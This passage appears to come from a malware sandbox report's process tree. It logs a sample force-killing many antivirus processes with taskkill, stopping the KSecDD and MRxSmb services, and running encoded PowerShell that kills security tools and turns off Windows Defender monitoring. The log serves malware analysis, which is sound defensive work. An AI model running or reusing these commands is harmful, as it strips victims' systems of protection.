    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2200
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Sophos.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SAVService.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3284
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SAVService.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Bitdefender.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2576
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Bitdefender.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im vsserv.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3448
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im vsserv.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ESET.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5980
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ESET.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ekrn.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2084
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ekrn.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im F-Secure.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2904
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im F-Secure.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im fsgk32.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4728
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im fsgk32.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im GData.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2024
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im GData.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AVK.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5512
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AVK.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Panda.exe"
    3⤵
    PID:6068
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Panda.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im PavFnSvr.exe"
    3⤵
    PID:5796
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im PavFnSvr.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TrendMicro.exe"
    3⤵
    PID:6112
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TrendMicro.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TmCCSF.exe"
    3⤵
    PID:2104
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TmCCSF.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBhAHYAcAAiACwAIgBrAGEAdgAiACwAIgBrAGkAcwAiACwAIgBrAHMAYwAiACwAIgBrAGEAcwBwAGUAcgBzAGsAeQAiACwAIgBkAHIAdwBlAGIAIgAsACIAZAB3AGUAbgBnAGkAbgBlACIALAAiAE0AQgBBAE0AUwBlAHIAdgBpAGMAZQAiACwAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIgBNAHMATQBwAEUAbgBnACIALAAiAGEAdgBnACIALAAiAGEAdgBhAHMAdAAiACwAIgBOAG8AcgB0AG8AbgAiACwAIgBTAHkAbQBhAG4AdABlAGMAIgAsACIATQBjAEEAZgBlAGUAIgAsACIAUwBvAHAAaABvAHMAIgAsACIAQgBpAHQAZABlAGYAZQBuAGQAZQByACIALAAiAEUAUwBFAFQAIgAsACIARgAtAFMAZQBjAHUAcgBlACIALAAiAEcARABhAHQAYQAiACwAIgBQAGEAbgBkAGEAIgAsACIAVAByAGUAbgBkAE0AaQBjAHIAbwAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJABwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAdABvAHAALQBQAHIAbwBjAGUAcwBzACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB9AA=="
    3⤵
    PID:2628
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBhAHYAcAAiACwAIgBrAGEAdgAiACwAIgBrAGkAcwAiACwAIgBrAHMAYwAiACwAIgBrAGEAcwBwAGUAcgBzAGsAeQAiACwAIgBkAHIAdwBlAGIAIgAsACIAZAB3AGUAbgBnAGkAbgBlACIALAAiAE0AQgBBAE0AUwBlAHIAdgBpAGMAZQAiACwAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIgBNAHMATQBwAEUAbgBnACIALAAiAGEAdgBnACIALAAiAGEAdgBhAHMAdAAiACwAIgBOAG8AcgB0AG8AbgAiACwAIgBTAHkAbQBhAG4AdABlAGMAIgAsACIATQBjAEEAZgBlAGUAIgAsACIAUwBvAHAAaABvAHMAIgAsACIAQgBpAHQAZABlAGYAZQBuAGQAZQByACIALAAiAEUAUwBFAFQAIgAsACIARgAtAFMAZQBjAHUAcgBlACIALAAiAEcARABhAHQAYQAiACwAIgBQAGEAbgBkAGEAIgAsACIAVAByAGUAbgBkAE0AaQBjAHIAbwAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJABwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAdABvAHAALQBQAHIAbwBjAGUAcwBzACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB9AA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop "KSecDD""
    3⤵
    PID:3240
  - - C:\Windows\system32\sc.exe
      sc stop "KSecDD"
      4⤵
      Launches sc.exe
      PID:2116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop "MRxSmb""
    3⤵
    PID:4656
  - - C:\Windows\system32\sc.exe
      sc stop "MRxSmb"
      4⤵
      Launches sc.exe
      PID:4952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
    3⤵
    PID:4368
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avp.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
    3⤵
    PID:3404
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kav.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
    3⤵
    PID:4980
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kis.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ksc.exe"
    3⤵
    PID:4556
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ksc.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
    3⤵
    PID:688
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kaspersky.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
    3⤵
    PID:4664
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drweb.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
    3⤵
    PID:4512
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im dwengine.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drwebservice.exe"
    3⤵
    PID:3816
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drwebservice.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    PID:2328
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    PID:1272
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMTray.exe"
    3⤵
    PID:1312
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMTray.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    PID:3452
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    PID:1364
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    PID:3476
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avg.exe"
    3⤵
    PID:3848
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avg.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avast.exe"
    3⤵
    PID:5552
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avast.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AvastSvc.exe"
    3⤵
    PID:4944
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AvastSvc.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Norton.exe"
    3⤵
    PID:2320
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Norton.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Symantec.exe"
    3⤵
    PID:3736
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Symantec.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im McAfee.exe"
    3⤵
    PID:2924
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im McAfee.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Mcshield.exe"
    3⤵
    PID:5948
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Mcshield.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Sophos.exe"
    3⤵
    PID:1060
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Sophos.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SAVService.exe"
    3⤵
    PID:4280
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SAVService.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Bitdefender.exe"
    3⤵
    PID:612
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Bitdefender.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im vsserv.exe"
    3⤵
    PID:4968
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im vsserv.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ESET.exe"
    3⤵
    PID:5676
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ESET.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ekrn.exe"
    3⤵
    PID:2760
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ekrn.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im F-Secure.exe"
    3⤵
    PID:1532
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im F-Secure.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im fsgk32.exe"
    3⤵
    PID:3428
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im fsgk32.exe
      4⤵
      PID:4768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im GData.exe"
    3⤵
    PID:2248
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im GData.exe
      4⤵
      PID:5360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AVK.exe"
    3⤵
    PID:4068
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AVK.exe
      4⤵
      Kills process with taskkill
      PID:1344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Panda.exe"
    3⤵
    PID:1984
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Panda.exe
      4⤵
      Kills process with taskkill
      PID:2472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im PavFnSvr.exe"
    3⤵
    PID:2860
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im PavFnSvr.exe
      4⤵
      PID:3128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TrendMicro.exe"
    3⤵
    PID:2588
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2720
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TrendMicro.exe
      4⤵
      Kills process with taskkill
      PID:3760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TmCCSF.exe"
    3⤵
    PID:3716
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3976
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TmCCSF.exe
      4⤵
      Kills process with taskkill
      PID:5428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBhAHYAcAAiACwAIgBrAGEAdgAiACwAIgBrAGkAcwAiACwAIgBrAHMAYwAiACwAIgBrAGEAcwBwAGUAcgBzAGsAeQAiACwAIgBkAHIAdwBlAGIAIgAsACIAZAB3AGUAbgBnAGkAbgBlACIALAAiAE0AQgBBAE0AUwBlAHIAdgBpAGMAZQAiACwAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIgBNAHMATQBwAEUAbgBnACIALAAiAGEAdgBnACIALAAiAGEAdgBhAHMAdAAiACwAIgBOAG8AcgB0AG8AbgAiACwAIgBTAHkAbQBhAG4AdABlAGMAIgAsACIATQBjAEEAZgBlAGUAIgAsACIAUwBvAHAAaABvAHMAIgAsACIAQgBpAHQAZABlAGYAZQBuAGQAZQByACIALAAiAEUAUwBFAFQAIgAsACIARgAtAFMAZQBjAHUAcgBlACIALAAiAEcARABhAHQAYQAiACwAIgBQAGEAbgBkAGEAIgAsACIAVAByAGUAbgBkAE0AaQBjAHIAbwAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJABwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAdABvAHAALQBQAHIAbwBjAGUAcwBzACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB9AA=="
    3⤵
    PID:5688
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBhAHYAcAAiACwAIgBrAGEAdgAiACwAIgBrAGkAcwAiACwAIgBrAHMAYwAiACwAIgBrAGEAcwBwAGUAcgBzAGsAeQAiACwAIgBkAHIAdwBlAGIAIgAsACIAZAB3AGUAbgBnAGkAbgBlACIALAAiAE0AQgBBAE0AUwBlAHIAdgBpAGMAZQAiACwAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIgBNAHMATQBwAEUAbgBnACIALAAiAGEAdgBnACIALAAiAGEAdgBhAHMAdAAiACwAIgBOAG8AcgB0AG8AbgAiACwAIgBTAHkAbQBhAG4AdABlAGMAIgAsACIATQBjAEEAZgBlAGUAIgAsACIAUwBvAHAAaABvAHMAIgAsACIAQgBpAHQAZABlAGYAZQBuAGQAZQByACIALAAiAEUAUwBFAFQAIgAsACIARgAtAFMAZQBjAHUAcgBlACIALAAiAEcARABhAHQAYQAiACwAIgBQAGEAbgBkAGEAIgAsACIAVAByAGUAbgBkAE0AaQBjAHIAbwAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJABwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAdABvAHAALQBQAHIAbwBjAGUAcwBzACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB9AA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgAsACAAIgBtAGIAYQBtACIALAAgACIATQBCAEEATQBDAGgAYQBtAGUAbABlAG8AbgAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAEMAaABhAG0AZQBsAGUAbwBuACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    PID:4488
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgAsACAAIgBtAGIAYQBtACIALAAgACIATQBCAEEATQBDAGgAYQBtAGUAbABlAG8AbgAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAEMAaABhAG0AZQBsAGUAbwBuACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA"
    3⤵
    PID:5608
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
